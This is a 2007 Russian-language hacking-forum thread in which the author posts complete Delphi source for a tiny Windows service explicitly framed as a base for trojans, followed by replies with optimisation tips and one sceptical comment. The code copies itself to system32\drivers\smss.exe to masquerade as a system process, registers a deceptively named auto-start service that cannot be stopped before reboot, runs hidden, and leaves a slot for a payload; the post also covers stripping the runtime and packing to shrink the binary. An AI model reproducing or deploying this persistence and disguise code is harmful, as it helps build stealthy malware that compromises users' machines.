Сервис на Delphi Api весом 1849 байт

execom · 12 Dec 2007

Не редко основой для троянов является сервис.. Создание сервиса на Delphi стандартными методами позволяет это сделать всего за несколько секунд, но у этого сервиса имеется один явный недостаток - неупакованный размер около 400 кб (нехилый трой получается)... Решить проблему минимизации позволяет:
1)Переписание на WinApi
2)Избавление от RTL
3)Упаковка программы (в моём примере с помощью FSG 2,0)

Мне удалось таким образом уменьшить размер сервиса более чем в 250 раз от стандартного, в данном примере 1849 байт...

1)Переписание на Api даёт значительное сокращение размера, но не стоит забывать и о необходимости избавления от всех модулей, а так же для того что бы мы могли в последствии отключить RTL необходимо избавиться от любого примениния типа string и динамических массивов... Соответственно нам придется все используемые Api функции импортировать из винды, так же нам придётся перетянуть весь набор типов и констант которые используются из модулей....
Полный код сервиса представлен ниже и его только необходимо сохранить в файл с расширением .dpr и запустить в делфи...

Code:

//Исходник сервиса
const
  ServiceName = 'NTError';  ServiceDisp = 'Служба регистрации ошибочных операций';
  Path = '\system32\drivers\smss.exe';
  kernel32                       = 'kernel32.dll';
  advapi32                       = 'advapi32.dll';
  SERVICE_RUNNING                = $00000004;
  SERVICE_WIN32_OWN_PROCESS      = $00000010;
  SERVICE_WIN32_SHARE_PROCESS    = $00000020;
  SERVICE_WIN32                  = (SERVICE_WIN32_OWN_PROCESS or
                                   SERVICE_WIN32_SHARE_PROCESS);
  SERVICE_START_PENDING          = $00000002;
  SC_MANAGER_CREATE_SERVICE      = $0002;
  STANDARD_RIGHTS_REQUIRED       = $000F0000;
  SERVICE_AUTO_START             = $00000002;
  SERVICE_ERROR_NORMAL           = $00000001;
  SC_MANAGER_CONNECT             = $0001;
  SERVICE_START                  = $0010;
  SERVICE_QUERY_STATUS           = $0004;
  SERVICE_INTERACTIVE_PROCESS    = $00000100;
  MAX_PATH                       = 260;
  INFINITE                       = INTEGER($FFFFFFFF);
  GENERIC_READ                   = INTEGER($80000000);
  FILE_SHARE_READ                = $00000001;
  FILE_ATTRIBUTE_NORMAL          = $00000080;
  OPEN_EXISTING                  = 3;
  SW_HIDE                        = 0;

type
  HINST   = INTEGER;
  THandle = INTEGER;
  UINT    = INTEGER;
  DWORD   = INTEGER;
  LPDWORD = ^INTEGER;
  BOOL    = BOOLEAN;
  pathbuf = array [0..MAX_PATH] of char;
  SERVICE_TABLE_ENTRYA = record
    lpServiceName: PChar;
    lpServiceProc: Pointer;
  end;
  SERVICE_STATUS = record
    dwServiceType: DWORD;
    dwCurrentState: DWORD;
    dwControlsAccepted: DWORD;
    dwWin32ExitCode: DWORD;
    dwServiceSpecificExitCode: DWORD;
    dwCheckPoint: DWORD;
    dwWaitHint: DWORD;
  end;
  PSecurityAttributes = ^TSecurityAttributes;
  TSecurityAttributes = record
    nLength: Cardinal;
    lpSecurityDescriptor: Pointer;
    bInheritHandle: Boolean;
  end;

var
  DispatchTable : SERVICE_TABLE_ENTRYA;
  hThread             : THandle;
  ServiceStatus       : SERVICE_STATUS;
  ServiceStatusHandle : integer;

function SetServiceStatus(hServiceStatus: integer; var lpServiceStatus: SERVICE_STATUS): BOOL; stdcall; external advapi32 name 'SetServiceStatus';
function RegisterServiceCtrlHandler(lpServiceName: PChar; lpHandlerProc: pointer): integer; stdcall;external advapi32 name 'RegisterServiceCtrlHandlerA';
function OpenSCManager(lpMachineName, lpDatabaseName: PChar; dwDesiredAccess: DWORD): INTEGER; stdcall; external advapi32 name 'OpenSCManagerA';
function CreateService(hSCManager: INTEGER; lpServiceName, lpDisplayName : PChar;  dwDesiredAccess, dwServiceType, dwStartType, dwErrorControl: DWORD;  lpBinaryPathName, lpLoadOrderGroup: PChar; lpdwTagId: LPDWORD; lpDependencies,  lpServiceStartName, lpPassword: PChar): INTEGER; stdcall; external advapi32 name 'CreateServiceA';
function CloseServiceHandle(hSCObject: INTEGER): BOOL; stdcall; external advapi32 name 'CloseServiceHandle';
function OpenService(hSCManager: INTEGER; lpServiceName: PChar; dwDesiredAccess: DWORD): INTEGER; stdcall; external advapi32 name 'OpenServiceA';
function StartService(hService: INTEGER; dwNumServiceArgs: INTEGER; var lpServiceArgVectors: PChar): BOOL; stdcall; external advapi32 name 'StartServiceA';
function QueryServiceStatus(hService: INTEGER; var lpServiceStatus: SERVICE_STATUS): BOOL; stdcall; external advapi32 name 'QueryServiceStatus';
function StartServiceCtrlDispatcher(var lpServiceStartTable: SERVICE_TABLE_ENTRYA): BOOL; stdcall; external advapi32 name 'StartServiceCtrlDispatcherA';
procedure Sleep(dwMilliseconds: DWORD); stdcall; external kernel32 name 'Sleep';
function CreateThread(lpThreadAttributes: Pointer; dwStackSize: DWORD; lpStartAddress: Pointer; lpParameter: Pointer; dwCreationFlags: DWORD; var lpThreadId: DWORD): THandle; stdcall; external kernel32 name 'CreateThread';
function WaitForSingleObject(hHandle: THandle; dwMilliseconds: DWORD): DWORD; stdcall; external kernel32 name 'WaitForSingleObject';
function CloseHandle(hObject: THandle): BOOL; stdcall; external kernel32 name 'CloseHandle';
function CreateFile(lpFileName: PChar; dwDesiredAccess, dwShareMode: DWORD; lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: DWORD; hTemplateFile: THandle): THandle; stdcall; external kernel32 name 'CreateFileA';
function GetModuleFileName(hModule: HINST; lpFilename: PChar; nSize: DWORD): DWORD; stdcall; external kernel32 name 'GetModuleFileNameA';
function GetWindowsDirectory(lpBuffer: PChar; uSize: UINT): UINT; stdcall; external kernel32 name 'GetWindowsDirectoryA';
function lstrcpy(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name 'lstrcpyA';
function lstrcat(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name 'lstrcatA';
function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall;  external kernel32 name 'WinExec';

Procedure PayLoad;
begin
while true do
  begin
  //Циклическая операция выполняемая в сервисе
  end;
end;

procedure ServiceCtrlHandler; stdcall;
begin
  SetServiceStatus(ServiceStatusHandle, ServiceStatus);
end;

procedure MainServiceThread; stdcall;
begin
  sleep(INFINITE);
end;

procedure ServiceProc(argc: DWORD; var argv: array of PChar); stdcall;
var
  thID: integer;
begin
  ServiceStatus.dwServiceType := SERVICE_WIN32;
  ServiceStatus.dwCurrentState := SERVICE_START_PENDING;
  ServiceStatus.dwControlsAccepted := 0;
  ServiceStatus.dwWin32ExitCode := 0;
  ServiceStatus.dwServiceSpecificExitCode := 0;
  ServiceStatus.dwCheckPoint := 0;
  ServiceStatus.dwWaitHint := 0;
  ServiceStatusHandle := RegisterServiceCtrlHandler(ServiceName, @ServiceCtrlHandler);
  ServiceStatus.dwCurrentState := SERVICE_RUNNING;
  ServiceStatus.dwCheckPoint := 0;
  ServiceStatus.dwWaitHint := 0;
  SetServiceStatus(ServiceStatusHandle, ServiceStatus);
  Payload;
  hThread := CreateThread(nil, 0, @MainServiceThread, nil, 0, ThID);
  WaitForSingleObject(hThread, INFINITE);
  CloseHandle(hThread);
end;

function CreateNTService(ExecutablePath, ServiceName: PChar): boolean;
var
  hNewService, hSCMgr: INTEGER;
  FuncRetVal: Boolean;
begin
  FuncRetVal := False;
  hSCMgr := OpenSCManager(nil, nil, SC_MANAGER_CREATE_SERVICE);
  if (hSCMgr <> 0) then
  begin
    hNewService := CreateService(hSCMgr, ServiceName, ServiceDisp,
      STANDARD_RIGHTS_REQUIRED, SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS,
      SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
      ExecutablePath, nil, nil, nil, nil, nil);
    CloseServiceHandle(hSCMgr);
    if (hNewService <> 0) then
      FuncRetVal := true
    else
      FuncRetVal := false;
  end;
  CreateNTService := FuncRetVal;
end;

function ServiceStart(aServiceName: PChar ): boolean;
var
  h_manager,h_svc: INTEGER;
  svc_status: SERVICE_STATUS;
  Temp: PChar;
  dwCheckPoint: DWord;
begin
  svc_status.dwCurrentState := 1;
  h_manager := OpenSCManager(nil, nil, SC_MANAGER_CONNECT);
  if h_manager > 0 then
  begin
    h_svc := OpenService(h_manager, aServiceName,
    SERVICE_START or SERVICE_QUERY_STATUS);
    if h_svc > 0 then
    begin
      temp := nil;
      if (StartService(h_svc,0,temp)) then
        if (QueryServiceStatus(h_svc,svc_status)) then
        begin
          while (SERVICE_RUNNING <> svc_status.dwCurrentState) do
          begin
            dwCheckPoint := svc_status.dwCheckPoint;
            Sleep(svc_status.dwWaitHint);
            if (not QueryServiceStatus(h_svc,svc_status)) then  break;
            if (svc_status.dwCheckPoint < dwCheckPoint) then  break;
          end;
        end;
      CloseServiceHandle(h_svc);
    end;
    CloseServiceHandle(h_manager);
  end;
  Result := SERVICE_RUNNING = svc_status.dwCurrentState;
end;

function FileExists(path:PChar):boolean;
var
  i : integer;
begin
  i:=CreateFile(path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  if i=-1
  then Result:=false
  else Result:=true;
end;

var
  F1,F2,F3,F4 : pathbuf;
begin
  GetModuleFileName(0,F1,MAX_PATH);
  GetWindowsDirectory(F3, MAX_PATH);
  LStrCpy(F2,#0);
  LStrCat(F2,F3);
  LStrCat(F2,path);
  if not FileExists(F2) then
    begin
      LStrCpy(F4,#0);
      LStrCat(F4,'cmd /c copy /y ');
      LStrCat(F4,F1);
      LStrCat(F4,' ');
      LStrCat(F4,F2);
      winexec(F4,SW_HIDE);
      CreateNTService(F2, ServiceName);
      ServiceStart(ServiceName);
      exit;
    end;
  DispatchTable.lpServiceName := ServiceName;
  DispatchTable.lpServiceProc := @ServiceProc;
  StartServiceCtrlDispatcher(DispatchTable);
end.

2)Избавление от RTL (Run Time Lib) позволяет уменьшить размер минимальной проги на делфи до 3,5кб (неупакованной) и менее 1кб (упакованной FSG 2,0)...
Для того что бы избавиться от RTL нам необходимо запустить проект предварительно разместив в папке с проектом урезаные модули System и SysInit как это сделать.....
1)Созадём в папке программы два текстовых файла: System.pas, SysInit.pas соответственно с содержанием:

Code:

unit System;
interface
procedure _HandleFinally;
type
TGUID = record
D1: LongWord;
D2: Word;
D3: Word;
D4: array [0..7] of Byte;
end;
PInitContext = ^TInitContext;
TInitContext = record
OuterContext: PInitContext; 
ExcFrame: Pointer; 
InitTable: pointer; 
InitCount: Integer; 
Module: pointer; 
DLLSaveEBP: Pointer; 
DLLSaveEBX: Pointer; 
DLLSaveESI: Pointer; 
DLLSaveEDI: Pointer; 
ExitProcessTLS: procedure; 
DLLInitState: Byte; 
end;
implementation
procedure _HandleFinally;
asm
end;
end.

Code:

unit SysInit;
interface
procedure _InitExe;
procedure _halt0;  
var
  ModuleIsLib  : Boolean; 
  TlsIndex     : Integer = -1; 
  TlsLast      : Byte; 
const
  PtrToNil     : Pointer = nil; 
implementation
procedure _InitExe;
asm
end;
procedure ExitProcess(uExitCode: INTEGER); stdcall; external 'kernel32.dll' name 'ExitProcess';
procedure _halt0;
begin
ExitProcess(0);
end;
end.

2)Теперь необходимо выполнить компиляцию этих файлов.. Для этого необходимо выполнить командную строку: DCC32 -Q system.pas sysinit.pas -M -Y -Z -$D- -O в папке с проектом, это легко сделав с помощью ват-ника....
Если всё нормально прошло то в папке появятся ещё два файла: System.dcu, SysInit.dcu

3)Запустив проект и откомпилировав его мы получим сервис на делфи весом 5120 байт.... Теперь осталось упаковать сервис с помощью FSG 2,0......

Эта статья разработана в среде разработке Delphi 7... При запуске проги происходит самокопирование проги в путь system32\drivers\smss.exe, регистрация сервиса и его запуск.... Сервис не может быть остановлен или удалёд до перезагрузки...

Используйте материалы статьи грамотно....

LEE_ROY · 12 Dec 2007

забыл добавить, что в оконцовке нужно зайти в Tools > Environment Options > Library и в LibraryPath добавить путь к папочке с только что созданными юнитами систем и сисинит дцу.

W!z@rD · 12 Dec 2007

фишку с перекомпиляцией system на руснет протрезвонил ms-rem
имхо для маленьких бинарников fsg the best

Hellsp@wn · 12 Dec 2007

1 вопрос пока не проверял...

Есть pathbuf = array [0..MAX_PATH] of char и у нас 4 таких переменных,
т.е. 4 * 261 = 1044 (в идиале) байт под эти строки. Может лучше бы было использовать
pchar + LocalAlloc or VirtualAlloc? Съэкономили бы ещё несколько сотен байт

Для проверки существования файла лучше юзать
Code:
function FileExits(const exe:pchar):boolean;
begin
  result:=TRUE;
  If (GetFileAttributes(exe) = DWORD(-1)) then result := FALSE;
end;
т.к. ей нужен только 1 параметр на вход

execom · 12 Dec 2007

2Hellsp@wn исправлю...

begin_end · 13 Dec 2007

Я ранее подобные вопросы изучал, вот, м.б. будет полезно: /showthread.php?t=40603

KEZ · 14 Dec 2007

Ээ, тоесть автор показал как создавать сервис через официальный, документированый способ, который подробнейшим образом описан в MSDN? Причем
перенеся все это с извращением на какой-то очень поковерканый язык? Или тут упор делается на то, что мол можно вируса-убийцу на делфи написать очередного, отключил RTL и т.п.? Поясните...

> Не редко основой для троянов является сервис..

Уже довольно давно не является и являться не может

Сервис на Delphi Api весом 1849 байт

execom Elder - Старейшина

LEE_ROY Elder - Старейшина

W!z@rD Борец за русский язык

Hellsp@wn Elder - Старейшина

execom Elder - Старейшина

begin_end Green member

KEZ Ненасытный школьник

Useful Searches

Сервис на Delphi Api весом 1849 байт

execom Elder - Старейшина

LEE_ROY Elder - Старейшина

W!z@rD Борец за русский язык

Hellsp@wn Elder - Старейшина

execom Elder - Старейшина

begin_end Green member

KEZ Ненасытный школьник